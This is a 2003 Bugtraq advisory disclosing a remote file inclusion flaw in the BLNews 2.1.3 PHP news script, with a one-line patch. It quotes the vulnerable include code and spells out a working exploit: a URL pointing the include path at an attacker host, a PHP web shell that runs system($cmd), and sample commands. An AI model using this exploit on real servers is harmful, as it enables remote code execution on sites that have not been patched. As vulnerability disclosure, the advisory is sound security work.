[30235] in bugtraq
PHP source code injection in BLNews
daemon@ATHENA.MIT.EDU (Over_G)
Sat May 24 13:24:32 2003
Date: Sat, 24 May 2003 15:27:54 +0400
From: Over_G <overg@mail.ru>
Reply-To: Over G <overg@mail.ru>
Message-ID: <604371312.20030524152754@mail.ru>
To: BugTraq@securityfocus.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Product: BLNews
Version: 2.1.3
OffSite: http://www.blnews.de/
Problem: PHP source code injection
--------------------------------------------
Vulnerability:
------------admin/objects.inc.php4------------
if ($itheme!="blubb")
{ include("$Server[path]/admin/tools.inc.php4"); }
include("$Server[path]/admin/$Server[language_file]");
-----------------------------------------------------
The developers forgot write include("server.inc.php4") :)
Exploit: admin/objects.inc.php4?Server[path]=http://ATACKER&Server[language_file]=cmd.php4
with
http://ATACKER/admin/tools.inc.php4
http://ATACKER/admin/cmd.php4
with
<? system($cmd) ?>
Use: objects.inc.php4?Server[path]=http://ATACKER&cmd=id;uname -a;pwd;
Patch.
write before line if ($itheme!="blubb")
include("server.inc.php4");
Contacts: www.overg.com www.dwcgr0up.com
irc.irochka.net #DWC
overg@mail.ru
regards, Over G[DWC Gr0up]
